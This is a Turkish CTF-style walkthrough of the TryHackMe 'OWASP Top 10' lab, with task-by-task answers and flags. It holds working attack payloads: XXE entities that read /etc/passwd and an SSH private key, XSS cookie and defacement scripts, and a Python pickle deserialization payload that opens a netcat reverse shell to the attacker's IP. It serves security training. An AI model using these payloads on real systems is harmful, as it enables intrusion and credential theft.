OWASP Top 10 Tryhackme Writeup
Songül Kızılay
merhaba bugün tryhackme owasp top 10 odasının çözümünü anlatmaya çalışıcağım
Task 1 Introduction
Task 2 Accessing machines
openvpn kullanarak makineye bağlanalım
Task 3 [Severity 1] Injection
Task 4 [Severity 1] OS Command Injection
Task 5 [Severity 1] Command Injection Practical
soru 1
http://ip bu dizine gitmemiz isteniyor
bu kısımda bize shell yüklenmiş bi sayfa verilmiş
ls komutunu vererek dizindeki dosyalara göz atalım
evilshell.php şu anki shell index.php index dosyamız
burda en ilgi çekici dosya drpeper.txt dosyası
cevap: drpepper.txt
soru 2
cat /etc/passwd ile dosyamızı okuyalım
hizmet dışı kullanıcı yok
cevap : 0
soru 3
whoami komutu bize hangi kulalnıcı olduğumuzu söyler
cevap : www-data
soru 4
cat /etc/passwd dosyasından bakabiliriz
cevap : /usr/sbin/nologin
soru 5
hostnamectl komutu ile sürümü öğrenebilirz
cevap : 18.04.4
soru 6
motd ye çıktı vermemizi istiyor
motd nedir sorusunun cevabı eskiden linuxda grafik arayüz olmadığı zamanlarda motd dosyası ile mesaj bırakırlarmış ascıı art resimleri örnek olabilir motd dosyaları genelde etc dizinin altında bulunur
ipucuna baktığımızda ise başlıkdan bahsediyordu
cd /etc && locate motd komutunu kullanarak motd dosyalarını aradım
ve 00 başlıklı dosyayı buldum
cat ile dosyayı okuyalım
cevap : DR PEPPER
Task 6 Broken Authentication
Task 7 Broken Authentication Pratik
makineyi başlatalım ve verilen ip adresinin 8888. portuna gidelim
bu odanın Broken Authentication üzerine yoğunlaşıcağını söyleyen bir yazı var parağrafta anlatıldığı gibi önüne boşluk koyarak Darren adlı kullanıcıyı kaydetmeye çalışalım
burp suite ile isteği keselim
isteği yakalayalım repertera gönderelim ve değiştirelim
evet değişti giriş yapalım
darrene ait hakları ile yeni bi kulanıcı açıldı ve bize flağı verdi
aynı işlemi arthur için yapıp flağı alalım
Sensitive Data Exposure (Introduction)
[Severity 3] Sensitive Data Exposure (Supporting Material 1)
[Severity 3] Sensitive Data Exposure (Supporting Material 2)
[Severity 3] Sensitive Data Exposure (Challenge)
soru 1
bize verilen ip adresine dirb ile küçük bir dizin taraması yapmamız gerekiyor
bahsettiğimiz dizinin adı assets içinde veritabanı bilgileri var
sqlite3 ile db i açıp hash bilgilerini alalım
ve bu sitede çözelim admin ve bob a ait hashi kırdı fakat alice kırılmadı
giriş yapalım ve flağımızı alalım
Task 12 [Severity 4] XML External Entity
Task 13 [Severity 4 XML External Entity — eXtensible Markup Language
soru 1
xml in açılımını sormuş
cevap : Extensible Markup Language
soru 2
yukardaki parağraftada anlatıldığı gibi evet
cevap: yes
soru 3
cevap : XML prolog
Task 14 [Severity 4] XML External Entity — DTD
cevap :!ELEMENT
cevap:!DOCTYPE
cevap:!ENTITY
Task 15 [Severity 4] XML External Entity — XXE Payload
Task 16 [Severity 4] XML External Entity — Exploiting
soru 1
first name ve last name adımızı görüntüler
<!DOCTYPE replace [<!ENTITY name “feast”> ]>
<userInfo>
<firstName>falcon</firstName>
<lastName>&Songül;</lastName>
</userInfo>
soru 2
<?xml version=”1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM ‘file:///etc/passwd’>]>
<root>&read;</root>
bu komutla passwd dosyasını okuyabiliriz
soru 3
passwd dosyasına baktığımızda adının falcon olduğunu görüyoruz
soru 4
ssh anahtarları genelde home dizini altında .ssh klasörü içindedir ama biz okumayı deneyelim
<?xml version=”1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM ‘file:///home/falcon/.ssh/id_rsa’>]>
<root>&read;</root>
id rsa bağlantısını kaydedip ssh üzerinden bağlanmayı denerseniz flağa ulaşabilirsiniz
Task 17 [Severity 5] Broken Access Control
Task 18 [Severity 5] Broken Access Control (IDOR Challenge)
soru 1
verdiği ipde bir giriş sayfası vardı. Adımızı ve şifremizi biliyoruz giriş yapalım
soru 2
note değerini değiştirerek flağa erişebiliriz
Task 19 [Severity 6] Security Misconfiguration
veridiği ip adresine gidelim ve bir bir not uygulaması buldum ipucuna tıkladığımda ise
kaynak koduna bakmamı istiyordu anlaşılan giriş şifresini varsayılan parola olarak bırakmış ve değişitrmemiş github dan şifreyi alalım
şifreyi bulduk
flağımızda burda
Task 20 [Severity 7] Cross-site Scripting
soru 1
verdiği ip den sayfaya gittiğimde bir TryHackMe XSS oyun alanı adlı bir
sayfa karşılıyor kayıt olup giriş yapalım
reflected xss sayfasına geldiğimde reflected xss oluşturmamı istiyor reflected xss doğrudan web sayfasında işlendiğini söylüyor
<script>alert(Hello)</script> komutunu çalılştıralım
soru 2
IP adreslerinin kullanıcının konumuyla ilişkili olduğunu biliyoruz ve aynı şekilde JavaScript’te window.location.hostname
kurbanın IP adresini alabilen, çağrılan bir nesne var. Aynı yükü bir önceki soruda kullanabilir ve bu soruyu tamamlamak için değiştirebiliriz.
<script>alert(window.location.hostname)</script>
cevap :ReflectiveXss4TheWin
soru 3
Sonraki birkaç soru, storedf XSS’e dayanmaktadır. html etiketi ile bir metin yazmamızı istiyor. Ben html de parağraf için kullanılan <p> etiketini kullanıcam
<p>paragraf</p>
cevap : HTML_T4gs
soru 4
uyarı için alert kullanıcaz belge tanımlama bilgileri içinse document.cookies
<script>alert(document.cookies)</script>
cevap : W3LL_D0N3_LVL2
soru 5
Bu soru biraz zordu Bu soruyu tamamlamak için document.queryselector
, belirtilen seçiciyle eşleşen belge içindeki ilk öğeyi döndüren JavaScript nesnesini kullanabiliriz . Bu nedenle, önce "XSS Playground" ı bulmamız gerekiyor.
Bunu yapmak için, “XSS Playground” metnini seçip, sağ tıklayıp inspect element e tıklayalım
document.querySelector içine yazcağımız id yi bulduk
<script>document.querySelector(‘#thm-title’).textContent = ‘I am a hacker’</script>
cevap : websites_can_be_easily_defaced_with_xss
Task 21 [Severity 8] Insecure Deserialization
soru 1
küçük bir google araştırması ile bulabiliriz
cevap : The Apache Software Foundation
soru 2
ipucunda dos saldırısı olarak da bilindiğini söyledi.
cevap : Denial of Service
Task 22 [Severity 8] Insecure Deserialization — Objects
bir köpek uyurken nesnenin hali davranıştır
cevap: A Behaviour
Task 23 [Severity 8] Insecure Deserialization — Deserialization
Bu sorunun cevabı, ‘base-2 formatı’ google’da aranarak doğrudan bulunabilir.
cevap : binary
Task 24 [Severity 8] Insecure Deserialization — Cookies
soru 1
Çerezler kaydediliğinde , geçerli oldukları yol da açıklanır. Çerezin geçerli olduğu URL, sorunun kendisinde mevcuttur.
cevap: webapp.com/login
soru 2
HTTP yalnızca güvenli modunda güvenli tanımlama bilgilerini destekler.
cevap:https
Task 25 [Severity 8] Insecure Deserialization — Cookies Practical
soru 1
siteye gidip kayıt oluşturalım ve sayfadaki çerezleri inceleyelim
çerez değerimiz base64 ile şifrelenmiş
terminalden echo çerezdeğeri | base64 -d komutunu çalıştırarak çözebilirz
ilk flağımız burda
THM{good_old_base64_huh}
soru 2
Şu anda bir kullanıcı olarak oturum açıyoruz, admin flağını almak için hesap türümüzü ‘admin’ olarak değiştirmemiz gerekiyor. Bu userType
, çerezler bölümündeki çerezde 'user' yerine 'admin' yazılarak yapılabilir . İşimiz bittiğinde, http://machine_ip/admin
sayfanın kendisinde bayrağı bulabilir ve bulabiliriz.
Task 26 [Severity 8] Insecure Deserialization — Code Execution
söylediği adımları tek tek yerine getirelim
1. adım user kulalnıcı açmak
2. adım
vime sol tıklayalım be feedback sayfasına dönelim bu kısımda flask dan bahsetmiş flask nedir sorumuza cevap arayalım
Flask Web uygulamalarını geliştirmemizi sağlayan %100 Python ile yazılmış bir microframewroktur. Küçük bir framework olmasına karşın oldukça hızlı bir frameworktur veritabanında depolamak için veriler flaska gönderiliyor
minik bilgilendirmemizden sonra konuya dönelim
kalide netcat dinleyicimizi açalım
şu anda 4444 portuna gelen her bağlantıyı dinliyoruz
import pickle
import sys
import base64 command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f' class rce(object):
def __reduce__(self):
import os
return (os.system,(command,)) print(base64.b64encode(pickle.dumps(rce())))
bu python betiğinde kendi ip adresimizi yerleştirelim ve
python3 dosyaadı.py yi çalıştıralım
bize base64 e çevrilmiş halini vericek
Bunu tarayıcınızdaki “encodingPayload” çerezine yapıştırın:
Netcat dinleyicimizin hala çalıştığından emin olun ve sayfayı yenileyin askıda kalacak netcate dönelim . flag txt dosyasnı bulduk 🎊
Task 27 [Severity 9] Components With Known Vulnerabilities — Intro
Task 28 [Severity 9] Components With Known Vulnerabilities — Exploit
Task 29 [Severity 9] Components With Known Vulnerabilities — Lab
soru 1
bize verilen ip adresine nmap taraması yapalım
nmap -sV -sC ip
ssh ve bir http servisi çalışıyor web sitesine gidelim
Kitapçıdaki güvenlik açığını araştırabiliriz.
evet onu burda bulduk
indirelim ve çalıştıralım
şimdi etc/passwd içinde kaç karakter var ona bakalım
wc -c /etc/passwd
cevap : 1611
Task 30 [Severity 10] Insufficient Logging and Monitoring
bize verilen dosyayı indirelim.
soru 1
Sürekli farklı bir kullanıcı adı ile sisteme girmeye çalışan birini görüyoruz.
cevap : 49.99.13.16
soru 2
HTTP 401 Yetkisiz istemci hata durumu yanıt kodu, hedef kaynak için geçerli kimlik doğrulama bilgilerine sahip olmadığı için isteğin uygulanmadığını gösterir.
Yani brute force saldırısı diyebiliriz çünkü birisinin sürekli olarak farklı bir kullanıcı ile şifre denediğini görüyoruz.
cevap : Brute force